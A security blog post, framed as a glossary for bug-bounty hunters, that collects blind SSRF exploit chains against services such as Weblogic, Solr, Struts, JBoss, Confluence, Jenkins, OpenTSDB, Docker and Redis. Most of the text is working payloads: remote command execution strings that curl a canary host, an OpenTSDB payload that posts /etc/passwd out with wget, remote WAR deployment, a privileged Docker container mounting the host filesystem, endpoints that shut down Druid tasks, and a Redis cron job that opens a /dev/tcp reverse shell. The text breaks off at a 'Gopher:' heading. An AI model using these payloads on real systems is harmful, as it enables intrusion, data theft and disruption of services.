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A Glossary of Blind SSRF Chains

Jan 13, 2021
 

Introduction

What is Server Side Request Forgery (SSRF)?

Server Side Request Forgery occurs when you can coerce a server to make arbitrary requests on your behalf. As the requests are being made by the server, it may be possible to access internal resources due to where the server is positioned in the network. On cloud environments, SSRF poses a more significant risk due to the presence of metadata endpoints that may contain sensitive credentials or secrets.

Blind SSRF

When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. In the industry, this behaviour is often referred to as “Blind SSRF”. In such situations, how do we prove impact? This was an interesting discussion that was sparked by Justin Gardner on Twitter:

If you can reach internal resources, there are a number of potential exploit chains that can be executed to prove impact. This blog post attempts to go into detail for each known exploit chain when leveraging blind SSRF, and will be updated as more techniques are discovered and shared.

You can find a GitHub repo with all of these techniques here: Blind SSRF Chains.

Please send us a pull request on GitHub if you would like any more techniques to be added to this glossary.

SSRF Canaries

In order to validate that you can interact with internal services or applications, you can utilise “SSRF canaries”.

This is when we can request an internal URL that performs another SSRF and calls out to your canary host. If you receive a request to your canary host, it means that you have successfully hit an internal service that is also capable making outbound requests.

This is an effective way to verify that an SSRF vulnerability has access to a internal networks or applications, and to also verify the presence of certain software existing on the internal network. You can also potentially pivot to more sensitive parts of an internal network using an SSRF canary, depending on where it sits.

Using DNS datasources and AltDNS to find internal hosts

With the goal being to find as many internal hosts as possible, DNS datasources can be utilised to find all records that point to internal hosts.

On cloud environments, we often see ELBs that are pointing to hosts inside an internal VPC. Depending on which VPC the asset you’re targeting is in, it may be possible to access other hosts within the same VPC.

For example, consider the following host has been discovered from DNS datasources:

livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

You can make an assumption that the es stands for Elasticsearch, and then perform further attacks on this host. You can also spray all of these blind SSRF payloads across all of the “internal” hosts that have been identified through this method. This is often effective.

To find more internal hosts, I recommend taking all of your DNS data and then using something like AltDNS to generate permutations and then resolve them with a fast DNS bruteforcer.

Once this is complete, identify all of the newly discovered internal hosts and use them as a part of your blind SSRF chain.

Side Channel Leaks

When exploiting blind SSRF vulnerabilities, you may be able to leak some information about the response being returned. For example, let’s say that you have blind SSRF via an XXE, the error messages may indicate whether or not:

  • A response was returned

Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.

vs.

  • Host and port are unreachable

Error parsing request: System.Net.WebException: Unable to connect to the remote server

Similarly, outside of XXEs, a web application could also have a side channel leak that can be ascertained by inspecting differences within the:

  • Response status code:

Online internal asset:port responds with 200 OK vs offline internal asset:port 500 Internal Server Error

  • Response contents:

The response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable.

  • Response timing:

The response times are slower or faster depending on whether or not the URL you are trying to request is reachable.

Techniques

Possible via HTTP(s)

Possible via Gopher

Tools

Possible via HTTP(s)

Apache mod_proxy

Commonly bound port: 80,443

SSRF Canary: Apache mod_proxy SSRF (CVE-2021-40438)

Affects Apache <= 2.4.48.

A reference for this bug can be found here: https://firzen.de/building-a-poc-for-cve-2021-40438.

/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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Weblogic

Commonly bound ports: 80, 443 (SSL), 7001, 8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

This also works via GET:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

This endpoint is also vulnerable to CRLF injection:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Will result in the following request:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Taken from here.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Windows:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Commonly bound ports: 8500, 8501 (SSL)

Writeup can be found here.

Shellshock

Commonly bound ports: 80, 443 (SSL), 8080

In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:

Short list of CGI paths to test:

Gist containing paths.

SSRF Canary: Shellshock via User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Commonly bound ports: 80, 8080, 8888, 8082

See the API reference for Apache Druid here.

If you can view the status code, check the following paths to see if they return a 200 status code:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Shutdown tasks, requires you to guess task IDs or the datasource name:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Shutdown supervisors on Apache Druid Overlords:

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Commonly bound port: 8983

SSRF Canary: Shards Parameter

Taken from here.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE via dataImportHandler

Research on RCE via dataImportHandler

PeopleSoft

Commonly bound ports: 80,443 (SSL)

Taken from this research here.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from here.

SSRF Canary: Struts2-016:

Append this to the end of every internal endpoint/URL you know of:


?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Taken from here.

SSRF Canary: Deploy WAR from URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

RCE via OGNL Injection (CVE-2021-26084)

/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/confluence/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/wiki/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/doenterpagevariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/createpage.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/templates2/viewpagetemplate.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/template/custom/content-editor?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/templates/editor-preload-container?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027
/users/user-dark-features?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027

SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian Security Ticket JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

Other Atlassian Products

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Commonly bound port: 4242

OpenTSDB Remote Code Execution

SSRF Canary: curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 Remote Code Execution

SSRF Canary: curl via RCE - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Commonly bound ports: 80,443 (SSL),8080,8888

Great writeup here.

SSRF Canary: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Follow the instructions here to achieve RCE via GET: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE via Groovy

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix Dashboard

Commonly bound ports: 80,443 (SSL),8080

Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.

SSRF Canary: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Commonly bound ports: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

This needs to be a PUT request:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: 
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

The advisory for this vulnerability was released here: W3 Total Cache SSRF vulnerability

This PHP code will generate a payload for your SSRF Canary host (replace url with your canary host):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Commonly bound ports: 2375, 2376 (SSL)

If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker’s API:

/containers/json
/secrets
/services

RCE via running an arbitrary docker image

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Replace alpine with an arbitrary image you would like the docker container to run.

Gitlab Prometheus Redis Exporter

Commonly bound ports: 9121

This vulnerability affects Gitlab instances before version 13.1.1. According to the Gitlab documentation Prometheus and its exporters are on by default, starting with GitLab 9.0.

These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.

The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Possible via Gopher

Redis

Commonly bound port: 6379

Recommended reading:

RCE via Cron - Gopher Attack Surfaces

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

